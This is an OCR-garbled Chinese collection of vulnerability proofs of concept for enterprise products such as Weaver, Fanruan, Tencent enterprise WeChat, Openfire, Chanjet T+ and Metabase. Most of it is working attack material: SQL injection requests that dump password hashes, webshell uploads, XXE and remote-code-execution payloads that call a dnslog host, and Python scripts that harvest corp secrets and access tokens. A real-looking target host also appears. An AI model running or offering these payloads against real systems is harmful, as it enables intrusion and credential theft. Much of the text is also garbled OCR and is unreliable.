07 v adiv idetdiv_Layout™ clage="div_layout"s
o8 «div id="div_sduin" class="div_psdmin">
o
168 wi—div id="div_time” clpss="div_tiss" align="center ></div—>
181 <liv id="div_path" class="div_path"s</div>
102 =dive

183~ =3gript langusge=™javascript™s

184 J war div_time = docusent,getElesentByld (" div_time"p; =f
185 war div_path = Socument.getElesantByld( o iv_path” ;

186 war tabpath = nes Arrayll;

W
0 L R T Var e B
x :um\l ion shou_realtisel) :y },BFIEE'I':; EF H){'

118 | div tiee,iseerHTHL = new Datel], toLocalestrinall;

J"B%3X Linkworks GetlMDictionarySQL i \i&:E
[ N N

POC:

POST /Webservice/IM/Config/ConfigService.asmx/GetIMDictionary HTTP/1.1

Host:

Content-Type: application/x-www-form-urlencoded

key=1' UNION ALL SELECT top 1 concat(F_CODE,':',F_PWD_MD5) from T_ORG_USER --

o1 N NN B


af://n243

RR X 1HFBRSS 83 INIESE

BEER:
app="FA&-NC-Cloud" =ERapp="F&k-NC-Cloud" && server=="Apache-Coyote/1.1"

POSTHUREE/EXIREIE falsedpitureial LAGTISE N

HTTP/1.1 260 OK

Server: Apache-Coyote/1.1

Date: Thu, 10 Aug 2023 20:38:25 GMT
Connection: close

Content-Length: 17

O 00 N O 01 N VN P

[
(N

{"login":"false"}

=
N

X oa SQLIEAN
eo0o

]l
http://xxxx//report/reportdsp/showReport.jsp?raq=%2FJourTemp2.raqg&reportParamsId=100xxx

AIEIE

POST /report/reportServliet?action=8 HTTP/1.1

Host: xxxx

Content-Length: 145

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

Origin: http://xxx/

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/86.0.4240.183 Safari/537.36

13 Accept:

text/html,application/xhtml+xml,application/xml;q=0.9,image/avif, image/webp,image/apng,*
/*;q=0.8,application/signed-exchange;v=b3;q=0.9

O 00 N O 01 N NN P

[EEN TR
N PO

14 Referer: http://xxxx/report/reportJsp/showReport.jsp?
rag=%2FJourTemp2.rag&reportParamsId=100xxx

15 Accept-Encoding: gzip, deflate

16 Accept-Language: zh-CN,zh;q=0.9

17 Cookie: JSESSIONID=D207AE96056400942620F09D34B8CDF3

1g Connection: close

19
20 year=x&userName=*x&startDate=x&endDate=*&dutyRule=x&resultPage=%2FreportJsp%2FshowRepo

21
22


af://n246
af://n249

3214 Weaver E-Office9 IS XH#HEE
O 00

1 http://URL/E-mobile/App/Init.php?
weiApi=1&sessionkey=ee651bec023d0db0c233fch562ec7673_admin&m=12344554_../../attachment/xx
X.Xls

EUREFEESHE

E2BH, KEREEVRHEFEESEEday! BRETEEME, BER!
IS URL/cgi-bin/gateway/agentinfo
BOKRERER T EZERINE L HSsecretEFHRER

TRMARAS: 2.5.x. 2.6.930000. LLF;

AZEM: 2.7.x. 2.8.x. 2.9.x;

IR

1. ISHEVHELEHBWIRI. XHFIRE,

2. FEFEATIRERENABNALETEXFHERS X,

BERHGE:
1. fEwaf Ei&E—MRN, TEFI/cgi-bin/gateway/agentinfol& 2 #9317 REYT;
2. BRI K#ETREEES,

3. BT BIRRANT ik


af://n251
af://n254

KT EWMERA I ERA T & APLHATIRIR 5 B
RRRGA

IEER— A REIEHHERANES APLHTIIRER , MG LUBE REEER |
IREUB SRS SRR YR,

BB T 2023 &£ 8 A 12 BRHT RRzfikEBHZNEaR SN T HAERAFRITTIEE | £

MR EEIARRANERLIMNER T eAtRRAES.

A A 3 R
B fiA REZE® REMGETR
AR 22 2= PSR R FTARER Y, 75 P A B4R L
FHE#EIRE APL
2.5.x A HEEER ZEMX MR, ERAEAN
2.6.930000 JiiA " EEBIRE APL HEHE G T .
emsR | BT Sk 8 5 R LAk S T Wik
i (EE https://tapd.tencent.com/WeWorkLocal Docu/
HiE) markdown_wikis/show/#12203822820025400
11
2.7x LA
2.8.x A Aszigm | EWLHE
2.9.x Rt A
EWER

WEETHAZRRREE 2B ERESHN AR,

B

1 app="Tencent-fRIl{HfE"

POC
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import json
import requests

import argparse

import warnings

# R ITEH
parser = argparse.ArgumentParser()

parser.add_argument('-u', '--url', help='URL for agentinfo request')
parser.add_argument('-r', '--file', help='File containing URLsS"')
args = parser.parse_args()

warnings.filterwarnings("ignore")

# EENE S URLAISIA M4

urls

=[]

if args.file:

with open(args.file, 'r') as file:
urls = file.read().splitlines()

else:

urls = [args.url]

for url in urls:

# &iBagentinfoigsk
try:

response = requests.get(url=f'{url}/cgi-bin/gateway/agentinfo', verify=False,

timeout=3)

except requests.exceptions.Timeout:
print(f'Request timed out for URL: {url}')
continue

# 1ENRMRSE
if response.status_code != 200:
print("\033[31m"+f'Failed to get agent info for URL: {url}/cgi-

bin/gateway/agentinfo, JAZS#@{response.status_code}'+"\033[0Om")

continue

if 'strcorpid' not in response.text:
continue

# fEATIRR AT SONEHE

res = response.content.decode("utf-8")

data = json.loads(res) # jsoniEpgpython=gi

id = data['strcorpid']

secret = data['Secret']

# Kk#Bgettokenidk
get_token_url = f'{url}/cgi-bin/gettoken?corpid={id}&corpsecret={secret}’
get_token_response = requests.get(get_token_url, verify=False)

# HMENNESERaccess_tokenFHIEIER

get_token_data = get_token_response.text
if 'access_token' in get_token_data:

data = json.loads(get_token_response.content.decode("utf-8")) # jsoniEppython=

access_token = data['access_token']
print("\033[32m"+f'{url} ZERHE"+"\033[0m")
print("\033[32m"+f'URL: {get_token_url}'+"\033[0m")
print(f'Access Token: {access_token}')
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import argparse

import requests

import urllib3

import json

from colorama import init

from colorama import Fore

init(autoreset=True)

urllib3.disable_warnings()

head = {

"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Winé4; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/113.0.0.0 Safari/537.36",

"Content-Type": "application/x-www-form-urlencoded"

def getkey(url):
print (f"EEUK{ur1} BEEERGEKeyHE")

if url.endswith("/"):

path = f"cgi-bin/gateway/agentinfo"

ellsel:

path = f"/cgi-bin/gateway/agentinfo"

pocurl = url + path

try:

res = requests.get(url=pocurl, headers=head, verify=False, timeout=3)

if "Secret" in res.text:

print(Fore.GREEN + f"[+]{url}ZERRE")

datas = json.loads(res.text)



49 print(f"corpid:{datas['corpid']}")

50
51 print("strcorpid:" + datas["strcorpid"])

52
53 print("Secret:" + datas["Secret"])

54
55 print(Fore.BLUE + "Zif3%HElaccess_token")

56
57 tokenurl = f"{url}/cgi-bin/gettoken?corpid={datas['strcorpid']}&corpsecret=
{datas['Secret']}"

58
59 print(tokenurl)

60
61 restoken = requests.get(url=tokenurl, headers=head, verify=False,

timeout=3)

62
63 if "access_token" in restoken.text:

64
65 print(Fore.GREEN + "[+]pgIh5kENZlaccesstoken™)

66
67 tokens = json.loads(restoken.text)

68
69 print(f"access_token:{tokens['access_token']}")

70
71 else:

72
73 print(Fore.RED + "Zk3kENZE|access_token")

74
75 else:

76
77 print(Fore.RED + "FEELLIFR")

78

79 except:

80

81 print ("&EEKK")
82

83

g4 Af __name__ == '__main_
85

86 parser = argparse.ArgumentParser()

87
88 p = parser.add_argument_group('&%#{')

89
90 p.add_argument("-u", "--url", type=str, help="{lli{&E%ur1")

91

92 p.add_argument("-f", "--file", type=str, help="ji{Zurls4")
93

94 args = parser.parse_args()

95
96 if not args.url and not args.file:

97 print("iE@MAN -u SEEEE URL ibik: python3 exp.py -u url")

98
99 parser.print_help()

100
101 exit()

102

if args.url:



10&
105
106
107
108
109
110

getkey(args.url)

if args.file:

for i in open(args.file, "r").read().split("\n"):

getkey (i)

ERRFRRFBEDM:

P © YV 00 0 01 N W IN P

N

F—: | BHEESEOTLSAE corpidficorpsecret

https://<®#{SiEZ>/cgi-bin/gateway/agentinfo

"4, {#FcorpsecretficorpidikStoken

https://<\iEia4>/cgi-bin/gettoken?corpid=ID&corpsecret=SECRET

B=2, ERtokenpIEMEWERRER, EHBFER, KEHR, =825 E0

https://<i{=tZ>/cgi-bin/user/get?access_token=ACCESS_TOKEN&userid=USERID

Dashboard

1 % +

4 Sec—Ch-Ua

Done

3 Cache=Lolitivy max-age=0

5 Sec—Ch-Ua-Mobile: 70
€ Sec-Ch-Ua-Platform: " € Brror-Cod
7 Upgrade-Insecure-Requests: 1

© User-Agent: Mozilla/5.0 (Windows NT 10.0: Win64: x64) AppleWebEit/537.36

| Burp Project Intruder Repeater View Help Burp Suite Community Edition v2023.9.1 - Temporary Project

Target Proxy Intruder Repeater Collaborator Sequencer Decoder Comparer

ERG o

14 Accept-Encoding: gzip, deflate
15 Accept-Language: zh-CN, zh:q=0.9

@ & €| | search ohighlights | (2) {6 | €

Request Response

Pretty  Raw  Hex n = Pretty  Raw
1 CET [ ‘a HITE/2 L ETTE/2 200 OX
2 Host 2 Server: neim:

e 0

7 Exror-Nsg: ok

(EETML, like Gecko) Chrome/115. 0.5790.171 Safari/537.36 9/{

9 Accept: “errcode”
text/html, application/xhtml+xml, application/xml:q=0.9, imge/avif, imge/webp, i “errmsg”:
mage/apne, */*; =0 8, application/siened-exchange:v=b3 a=0. 7 “streorn

10 Sec-Fetch-Site: none “corpid

11 Sec-Fetch-Node: navigate “agentid”
12 Sec-Fetch-User: 71 "Secret”: _
13 Sec-Fetch-Dest: document }

Y

Hex

Search...

3 Date: Sat, 12 Aug 2023 07:49:08 GNT
4 Content-Type: application/json; charset=UTF-8
5 Content-Length: 159

Extensions Learn

0 highlights

- o X

{5 settings

aif

2 B wmez 3

Inspector nld = - @ X

Request attributes

Request query parameters

Request body parameters

Request cookies

Request headers

Response headers

2 v
0 v
0 v
0 v
17 v
6 v

326 bytes | 73 millis




app="Tencent-1MV ="

999+

M wx.wuhanrt.com o gz

am ek it i HTTP/1.1 200 OK

221.232.156.107 Connection: close

FE Content-Length: 10231
ASN: 4134 Content—Secunty—PoIloyE dlefault—src unsafe-e
v m 'unsafe-eval' 'unsafe-inline' blob:; worker-src
EH: Chinanet e-src 'self' 'unsafe-inline' *.qg.com blob:
wuhanrt.com Content-Type: text/html; charset=utf-8
2023-08-12 Date: Sat, 12 Aug 2023 04:28:42 GMT

Etag: W/"Si42+0YsJEtaQAbHH/OEyw=="

elb CAminar Al

2 @

M 221.232.156.107 = gz

am ek it i HTTP/1.1 200 OK

221.232.156.107 Connection: close

FE Content-Length: 10231
ASN: 4134 Content-Security-Policy: default-src * 'unsafe-e
I Chinanet m 'unsafe-eval' 'unsafe-inline' blob:; worker-src
SSEAR ’ e-src 'self' 'unsafe-inline' *.gg.com blob:

MR 2R 2 G iR R B

BRI MBIRRRS (VI0. VIIRERRE) FERFINFRESRZT. RFFIKGLIATESERE, K
TEITHALRRFRRARARENR. ETHRARCWEERA, BELCEEERS, BNGIESEEN, BIES
KOOEERTHAT, #TAR, BERERE, REREMHTEEN.

R4S B https://help.fanruan.com/finereport/doc-view-4833.html

T T HFEE: http: //s.fanruan.com/3ubeo

EZEKPIZEE B ITIRGE
ZR kRS :

EZEKP V16 (RFTHR)ZFMEFERERERITRE, VISEEIFERIE, ST,
BERER:

ERAMBACLIRGIZOARIENRIR, MEREN, ERESGETIERPHHE./FERFUFIENURL,


af://n279
https://help.fanruan.com/finereport/doc-view-4833.html
af://n284

BE A L& - - >R E-->3KEwebshell, BIGIRIE
TR
/api///sys/ui/sys_ui_extend/sysUiExtend.do

POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1
Host: xxx
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_15_7) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/115.0.0.0 Safari/537.36
Accept: /
g Connection: Keep-Alive
10 Content-Length: 42
11 Content-Type: application/x-www-form-urlencoded
12 var={"body":{"file":"file:///etc/passwd"}}

N O O N NN

(o]

SmartxiBl Sz THITIRE

SmantXiBHMERARCHEBME FENZORN, EBETAAEMELFENRBEAIRMAAALABRER
o SmartxBME R AFEREMLHITRE, XEBTNALRARITERSR L, EHIRSSS

SR MhRA: SmartxiBRiSversion <= 5.0.5% X MEFEERE; &MRELIHFRERIE, a0,

BEHR. ERAMBACLIRGIZ™@EVILERIR, MEEN, ERESBGETERPHFHRERRGENFEN

URL;
IGEHE R 755

EAE#IAIN /api/v2/deployment/can_pingfYa] £Eip

Nacos-SynckEHUEH
o000

1 https://xxx.xxx.xxx/#/serviceSync


af://n291
af://n298

360 IXREXIGFRLEEBRARESHERR

1 http://ip:port/runtime/admin_log_conf.cache

§3E NBR &2 fileupload.php EE X4 L {5iRH

Host:
Accept: text/plain, */*; q=0.01

Content-Type: image/jpeg

<?php phpinfo();?>

N O Ol N NN B

POST /ddifserver/fileupload.php?uploadDir=../../321&name=
123.php HTTP/1.1

Host: xxxx

Accept: text/plain, =*/%; g=0.081

Content-Disposition: form-data; name="file";
filename="123.php"

bW —

5 Content-Type: image/jpeg
6 Content-Length: 1

7

81

"oy v

14

16

POST /ddi/server/fileupload.php?uploadDir=../../321&name=123.php HTTP/1.1

Content-Disposition: form-data; name="file"; filename="111.php"

Server: nginx

Date: Mon, 21 Aug 2023 07:06:84 GMT
Content-Type: text/html

Connection: keep-alive

Expires: Mon, 26 Jul 1997 @5:00:00 GMT
Last-Modified: Mon, 21 Aug 2023 @7:06:084 GMT
Cache-Control: no-store, no-cache, must-revalidate
Cache—Control: post-check=@, pre-check=0
Pragma: no-cache

X-Content-Type-Options: nosniff
X-X55-Protection: 1; mode=block
Strict-Transport-Security: max-age=31536000;
includeSubdomains;

Content-Length: 64
{"jsonrpc" : "2.8", "result" : "../../321/123.php", "id"
: "id"}

P SecSSL 3600 £ENMX RS EE BB NRER

1 POST /changepass.php?type=2

Cookie: admin_id=1; gw_user_ticket=fffffffffffffffffffffffFFEffffff; last_step_param=

{"this_name":"test", "subAuthId":"1"}

4, old_pass=&password=Test123!@&repassword=Test123!@

HTTP/1.1 200 0K


af://n301
af://n303
af://n306

Openfire & (1A E4%33 i E (CVE-2023-32315)
O 00

1 GET /user-create.jsp?
csrf=Si03W0A89y2L9R1&username=userl&name=&email=&password=Qwerl234&passwordConfirm=Qwerl2
34&isadmin=on&create=............ HTTP/1.1

AEERREREREG RN E
eo0o0

1 GET /admin/user_getUserInfoByUserName.action?userName=system HTTP/1.1

;1% ShowDocslmagesqli¥ N &
00

GET

/weaver/weaver.docs.docs.ShowDocsImageServiet?docId=* HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_14_3) AppleWebKit/605.1.15 (KHTML,
like Gecko)

Accept-Encoding: gzip, deflate

N O 0l N NN

Connection: close

%52 HCM codesettree SQL ;ENEE

o000
1 GET
5 /servlet/codesettree?

flag=c&status=1&codesetid=1&parentid=-1&categories=~31~27~20union~20al
1~20select~20~27~31~27~2cusername~20from~20operuser~20~2d~2d HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_14_3) AppleWebKit/605.1.15 (KHTML,
like Gecko)

Accept-Encoding: gzip, deflate

Connection: close

0 N O 01 N W


af://n309
af://n311
af://n314
af://n316

&R BJE KSOATaskRequestServiet sqliE \iEiH
o000

1 /servlet/com.sksoft.v8.trans.servlet.TaskRequestServliet?unitid=1*&password=1,

AR BEFSE KSOA servietimagefield X {§ sKeyvalue £#SQL F A\
(N N

GET
5 /servlet/imagefield?
key=readimage&sImgname=password&sTablename=bbs_admin&sKeyname=id&sKeyvalue=-1'+union+sele
ct+sys.fn_varbintohexstr(hashbytes('md5', 'test'))-
-+ HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_14_3) AppleWebKit/605.1.15 (KHTML,
like Gecko)
Accept-Encoding: gzip, deflate

0 N O 01 N W

Connection:

BRIHEE T sql 3 EAN
00

1 sqlmap -u http://xx.xx.xx.xx/WebSer~1/create_site.php?site_id=1 --is-dba

AROAXF L%

1 POST /w_selfservice/oauthserviet/%2e./.%2e/system/options/customreport/0fficeServer.jsp
HTTP/1.1
Host: XX.XX.XX.XX
Cookie: JSESSIONID=C92F3EDO39AAF958516349DOADEE426E
User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x64; rv:109.0) Gecko/20100101
Firefox/111.0
5 Accept:
text/html, application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;g=0.8,zh-TW;g=0.7,zh-HK;g=0.5,en-US;g=0.3,en;q=0.2

6
7 Accept-Encoding: gzip, deflate
3 Connection: close
9 Content-Length: 417
10
11 DBSTEP V3.0 351 0 666 DBSTEP=REJTVEVQ

12 OPTION=UOGFWRUZJTEU=
13 currentUserId=zUCTwigsziCAPLesw4gsw4o0EwVé66
FILETYPE=Li5cMW5kZXguanNw


af://n319
af://n321
af://n323
af://n325

15 RECOR1DID=gLSGw4SXzLeGw4V3wUw3zUoXwidé

16 originalFileId=wVéé

17 originalCreateDate=wUghPB3szB3Xwgéé

1g FILENAME=qfTdgfTdgfTdVaxJeAJQBR13dExQyYOdNAlfeaxsdGhiyY1TcATdNITiN4KXwiVGZzfT2dEgG6
19 needReadFile=yRWZdASé

20 originalCreateDate=wLSGP40EzLKAz4=1iz=66

21

shell:http://xx.xx.xx.xx/1ndex.jsp

ZF10A KiZH

(N N
1 1. ImiEREE
2 http://xx.xx.xx.xx/C6/JIhsoft.Web.users/GetTreeDate.aspx/?id=1
3 2. EUPR
4 http://xx.xx.xx.xx/C6/JIhsoft.Web.users/GetTreeDate.aspx/?
1d=1%3bWAITFOR+DELAY+'0%3a0%3a5"'+--%20and%201=1
5
6
S A
Kuboard2i\AO<
o000

1 TEE -

5 Kuboard, B—%R#AI Kubernetes EMUEIETER, Kuboard NEFBIAFREE Kubernetes LFEMtAR
5. KuboardZEENAOSTLUBIIENAOSERKuboard, EiEKubernetes,

z admin/kuboard123

QAX-VpnfFTExi&EH R EE W S Hih g 2R
N N )

1 https://x.xxx.xxx.cn/admin/group/xgroupphp?id=1
https://x.xxx.xxx.cn/admin/group/xgroupphp?id=3 cookie: admin id=1; gw admin ticket=1;


http://xx.xx.xx.xx/1ndex.jsp
af://n330
af://n333
af://n336

£ BiptEET+GetStoreWarehouseByStore RCE;&
o000

POST

/tplus/ajaxpro/Ufida.T.CodeBehind.PrioritylLevel,App Code.ashx?met
hod=GetstoreWarehouseByStore HTTP/1.1 Host: User-Agent:
Mozilla/5.0 (X11;Linuxx86 64)AppleWebKit/537.36(KHTML, like
Gecko)Chrome/34.0.1847.137 Safari 4E423F Connection: close

4
5 Content-Length:668 X-Ajaxpro-Method:GetstoreWarehouseByStore Accept-Encoding:gzip {
"storeID":{
6 "type":"system.Windows.Data.objectDataProvider,
7 PresentationFramework,Version=4.0.0.0,Culture=neutral,
8 PublicKeyToken=31bf3856ad364e35", "MethodName":"start"
9 "objectInstance":{ " type":"system.Diagnostics.Process,
10 System,Version=4.0.0.0, Culture=neutral,
11 PublicKeyToken=b77a5c561934e089" "startInfo":{
12 " type":"system.Diagnostics.ProcessstartInfo, system,
13 Version=4.0.0.0,Culture=neutral,
14 PublicKeyToken=b77a5c561934e089" "FileName":"cmd",

15 "Arguments":"/cwhoami>
14 C:/Progra~2/Chanjet/TPlusStd/Website/2RUsL6jgx9sGX4GItBcVfxarBM.t
17 xt" } }r}

LABBFEERSL RCE

o000
1 POST /callback/%2E%2E; /code/upload HTTP/1.1
5 Host: ip:port
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x64)
4 Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif, image/webp,image

/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Content-Type:multipart/form-data;

5
6
7 boundary=----GokVTLZMRxcJWKfeCvEsYHlszxEANApZseNMGLki
8 ----GoKVTLZMRxcIWKfeCvEsYHLszxEANApZseNMGLki
9 Content-Disposition: form-data; name="type";
10
11 TIMETASK
12 ----GoKVTLZMRxcJIWKfeCvEsYHLlszxEANApZseNMGLki
13 Content-Disposition: form-data; name="file"; filename="1.jpg"
14
16

17  —~~~GOKVTLZMRxcJIWKfeCvEsYHlszxEANApZseNMGLK1


af://n338
af://n341

{£3£1T CRM SmsDataList SQL;¥ \j&:H
o000

POST /SMS/SmsDatalList/?pageIndex=1&pageSize=30 HTTP/1.1
Host:

i User-Agent: Mozilla/5.0 (Windows NT 6.1; WOWé4) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.1361.63 Safari/537.36

4 Accept-Encoding: gzip, deflate

5 Accept: * /%

¢, Connection: close

7 Content-Type: application/x-www-form-urlencoded

8 Content-Length: 170

9

10 Keywords=&StartSendDate=2020-06-17&EndSendDate=2020-09-17&SenderTypeld=00000000*

RERIRE channel IERHTHITREE
NI/ ET channel FBOFEZEGSRITRE, XEEET KRBT UFIRRSSNE, HERSS
"Powered by TR%X"

1 Java -jar ysuserial-1.5-sul8-all.jar -g CommonsBeanutils1183NOCC -p 'EX-TomcatEcho' -ch
"cmd" > finel0.bin

POST /webroot/decision/remote/design/channel HTTP/1.1
Content-Type: application/json

Host:

cmd: id

Connection: close

O 00 N O O N (v N

{{gzip(file(finel®.bin))}}

AEIREIEPOEE RS XML LIFENFR

1 GET /src/sangforindex HTTP/1.1
5 Host: ip:port
3 Upgrade-Insecure-Requests: 1


af://n343
af://n345
af://n351

4, User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x64) AppleWebKit/537.36 (KHTML,
likeGecko)
Accept:
6 text/xml,application/xml,application/xml;q=0.9,image/avif, image/webp,image/apng,*/*;q=0.
8,application/signed-exchange;v=b3;q=0.9
Content-Type: text/xml
Accept-Encoding: gzip, deflate, br
9 Accept-Language: zh-CN, zh;q=0.9
10 Connection: Keep-alive
11 Content-Length: 135
19 <?xml version="1.0" encoding="utf-8" ?><!DOCTYPE root [
13 <!ENTITY rootas SYSTEM "http://dnslog">

14 1>
15 SXXX>
14 &rootas;

17 </ XxX>

BBiE = ERP ApiUpdate.ashx X% _E{%:RH

BRR = ERPRAZZOER ApiUpdate.ashx X FEERX M LIFRE, REEBEIHWERKNZIPESEETU L
RERXM, EHIRS S

RAFETEROTHZROERRS

poci
00
1 POST /myunke/ApiUpdateTool/ApiUpdate.ashx?apiocode=a HTTP/1.1
9 Host:
3 Accept-Encoding: gzip
4 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_14_3)AppleWebKit/605.1.15 (KHTML,
like Gecko) Version/12.0.3 Safari/605.1.15
5 Content-Length: 856
6

7 {{hexdec (504B030414000000080063740E576AE37B2383000000940000001D0000002E2E2F2E2E2F2E2E2F66
6463636C6F75642F5F2F746573742E6173707825CC490AC2401404DOBDA7685A02C9A62F90288A22041C42E2B
OFE4A11033DD983EOEDFDE2AEA8575453AC444723C49EEC98392CE4662E45B16C185AE35D48E24806D1D3836D
F8C404A3DAD37F227A066723D42D4CO9A53C23A66BD65656F56ED2505B68703F20BC11D4817C47E959F678651
EAA4BDO6A7D8F4EE7841F5455CDB7B32F504B0102140314000000080063740E576AE37B238300000094000000
1D00BBEE0OBOEOOOOEECOOOES00100000BEB2E2E2F2E2E2F2E2E2F666463636C6F75642F5F2F746573742E617
37078504B050600000000010001004B000000BEOEAOOAOEAE0O) }}


af://n355

poc2
[ N N J

1 POST /myunke/ApiUpdateTool/ApiUpdate.ashx?apiocode=a HTTP/1.1Host: target.com
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_14_3)AppleWebKit/605.1.15 (KHTML,
like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 856

{{unquote ("PK\x03\x04\x14\x00\x00\x00\x08\x00\xf2\x9a\x0bW\x97\xe9\x8br\x8c\x00\x00\x00\x
93\x00\x00\x00\x1e\x00\x00\x00../../../fdccloud/_/check.aspx$\xcc\xch\x0a\xc20\x14\x04\xd
0_\x09\x91B\xbb\x09\x0a\xddH\xab\x29\x8aP\xf0QZ\xc4\xf5m\x18j ! ib\x1e\x82\x7fo\xc4\xddOg\x
98:\xdb\xb1\x96F\xb83\xcdcLa\xc3\x0F\x0b\xce\xb2m\x9d\xa®\xd1\xd6\xb8\xcB\xae\xas\xel-
\xc9d\xfd\xc7\x07h\xd1\xdc\xfe\x13\xd6%0\xb3\x87x\xb8\x28\xe7R\x96\xchbr5\xacyQ\x9d&\x05q\
x84B\xea\x7b\xb87\x9c\xb8\x90m\x28<\xf3\x0e\xaf\x08\x1f\xc4\xdd\x28\xb1\x1f\xbcQ1\xe0\x07
EQ\xa5\xdb/\x00\x00\x00\xFf\xFff\x03\x00PK\x01\x02\x14\x03\x14\x00\x00\x00\x08\x00\xf2\x%a
\X0bW\x97\xe9\x8br\x8c\x00\x00\x00\x93\x00\x00\x00\x1e\x00\x00\x00\x00\x00\x00\x00\x00\x0
0\x00\x00\x00\x00\x00\x00\x00\x00../../../fdccloud/_/check.aspxPK\x05\x06\x00\x00\x60\x00
\x01\x00\x01\x00L\x00\x00\x00\xc8\x00\x00\x00\x00\x00")}}

7z{M HrmCareerApplyPerView S Q L ¥ \i&[
00

GET

2 /pweb/careerapply/HrmCareerApplyPerView. jsp?
1d=1%20union%20select%201,2,sys.fn_sqlvarbasetostr(db_name()),db_name(1),5,6,7 HTTP/1.1
Host: 127.0.0.1:7443
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_14_3) AppleWebKit/605.1.15
(KHTML, like Gecko)

5 Accept-Encoding: gzip, deflate
Connection: close

Metabase validate 25 £H1T7iE7 (CVE-2023-38646) :
R R

Metabase@— M RBIEBAMNANCIE, EUUBHAFPERERIISTHKER, SERERE. cRSH
AP, ZREERALENFEETHEETN. SHNTRL. FHMIMINZEREEN B ZRETUERS S LU
BT HRIEERS SONRIITERS S

R


af://n366
af://n369

TCERIE

R

N BiRRF="TCH B E"

mEEH

HFMetabase
skt

youlooknicetoday@email.com

=il
&
.
2R
B&
LIS 1)
fele) = LA SR
M M M BHEEER
POC
/aPOC
/api/session/properties
fequast » HIBEEAE @ i Responses 147588bytes | 307ms Y & .
1 GET fapi/sessionfproperties HTTR/1.1 - . H A W
2 Content-Type: -applicationsjson | :::; L] jtoken w011 T -
3 Besty 3683 "tln:nese"' l::l-:“p- -
s 3684 1.
3685 [

3686 "zh_HK",
. | "Chinese (Hong Kong SAR China)"

"h_TW",
“Chinese (Taiwan)*

PR L L e e
R EEEE]
CEECEZCERES
SEES8EgEES
:
y
9
-
o
pmmm4wnnmmmmmmmmg

3604 Llanding.
I "set "e56e2cdf-T1bf-d4e15-0879-d064 f319bes9"

I6GE “application-colars": {},
3697 “enable-audit-app?': false,
3698 - “anon-tracking-enabled": true,
3699 < “wersion-info-last-checked™: “2023-87-29T06:15: 00.030062",
3708 “application-logo-url®: “app/assets/img/logo.svg",
3701 “application-favicon-url": “appfassets/img/favicon.ice,
3Taz "show-metabot": true, -
37a3 -+ "enable-whitelabeling?™: false, —-—
3704 “map-tile-server-url”: “https://{s}.tile.openstreetmap.org/{z}h/{x} E

yk.png”, . i =
3705 - “startup-time-nillis": 21317.8, =l ;‘-_jj,!,_..
3706 - “redirect-all-requests-to-https”: false, == L T

FTR7 Huareiants



R RBENBXEAER, REHEEESE: https://www.yuque.com/moyuansrc/npgiwy/mb1gbgaizk13fz8etty

cvmT

Request ¥ HEESE m . Responses 4 8] 1027 4m

POST fapi/setup/validate HTTP/1.1 1 HTTP/1.1 48% Bad Request

1

2 uo51:| 2 Date: Sat, 20 Jul 2023 11:22:19 GNT

3 Content-Type: -application/json 3 X-Frame-Options: DENY

4 Content-Langth: 812 4 X-X55-Protection: 1; modesblock

5 5 Last-Modified: Sat, 20 Jul 2023 11:22:29 GMT

B v B Strict-Transport-Security: max-age=31536888

T "token": "e56e2c@f-T1bf-4215-GBTO-d964f310be6a", 7 Set-Cookie: metabase.DEVICE=36e3aTbb-cebf-402c-aac3—dcadd2c62995;

B "details": Httplnly;Path=/;Expires=Wed, 29 Jul 2043 11:22:29 GNT;SameSite=Lax

9 w { B ¥-Permitted-Cross-Domain-Policies: none

1n “is_pn_denand": false, g Cache-Control: max-age=#, no-cache, must-revalidate, proxy-revalidate

11 "is_full_sync™: false, 18 X-Content-Type-Options: nosniff

12 *1s_sample": false, 11 Content-Security-Policy: default-src "none'; script-src 'sell’

13 “cache_tt1": null, ‘unsafe-eval' https://maps.google.com htips://accounts.google.com

14 "refingerprint": false, https: //www.google-analytics. com - - 'sha2S6-K2AkR/ j TLsGVEPyzwhaT7s

15 Vaute_run_queries": true, ey1iabIc5jWRYwa++ZHZe=" " ' shal56-ib2/2v52C6gEMEE tyTiVgBlvpy/ cafiBuV/

16 “schedules™: pzzVThid="' 'sha256—1sH538cVBUYAIMLEY G tBwr+cGgkcdmiSnLeATIU{E=";

17 ik child-src 'self' https://accounts.google.com; style-src ‘self’

18 "details": ‘unsafe-inline' hitps://accounts.google.com; font-src %; img-src =

19 w 1 'self’ data:; conmect-src "self’ https://accounts.google,com metabase,

L] “db": - “zip:/app/metabase.jar!/sample-database.db; MODE=MSSOLServer; us18. List-manage . com www.goog le—analytics. com https://sp.metabase. con
TRACE_LEVEL_SYSTEM_OUT=1\" ;CREATE TRIGGER pwnshell BEFORE SELECT 0N ; manifest-src 'self'; - frame-ancestors "none’;
INFORMATION_SCHEMA.TABLES AS $%./javascript\njava.lang.Runtime.getRuntime]).exec 17 Content-Type: application/json; charset=ut{-B
{'curl ecwldd.dnslog.cn'}ingg=—=x", 13 Expires: Tue, 83 Jul 2081 06:98:88 GMT

21 “advanced-options”: false, 14 Server: Jetty(9.4.48.v20220622)

22 "S51"e -true 15 Content-Length: 43

23 3, 16

4 “name"': - "an=sec=research=team", 17 {

